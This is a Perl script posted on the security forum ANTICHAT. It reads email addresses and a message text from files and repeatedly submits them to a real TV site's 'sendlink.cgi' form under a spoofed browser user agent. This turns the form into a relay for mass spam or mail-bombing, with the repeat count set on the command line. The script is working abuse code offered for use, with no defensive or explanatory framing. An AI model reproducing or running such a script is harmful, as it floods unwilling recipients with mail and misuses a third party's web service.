ANTICHAT — форум по информационной безопасности, OSINT и технологиям

#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;

sub submit_query {
    my ($file, %query) = @_;
    my $user_agent = LWP::UserAgent->new;
    $user_agent->agent("MSIE/5.5 " . $user_agent->agent);
    my $request = POST
    $file,
    [%query];
    my $response = $user_agent->request($request);
}

if(!$ARGV[0]) { printf "usage :script.pl kol-vo\n"; exit(0);}
my $ml = 'emails.txt';
my $txt = 'text.txt';
my $test;
my $test1;
my (@data, @data1);

open(DAT, $ml) || die("Could not open emails file!");
@data=<DAT>;
close(DAT);

open(DAT1, $txt) || die("Could not open letter file!");
@data1=<DAT1>;
foreach my $test(@data1){$test1 .= $test;}
close(DAT1);

foreach my $mail (@data)
{
 my %example = (id => 'CSQIRWKU4J', Name => '123', List => $mail, Text => $test1, x => '39', y => '22');
		for (my($i) = 0; $i<$ARGV[0];$i++)
				{submit_query("http://tnt-tv.ru/web2/sendlink.cgi", %example);}
				printf "$mail done";
 
}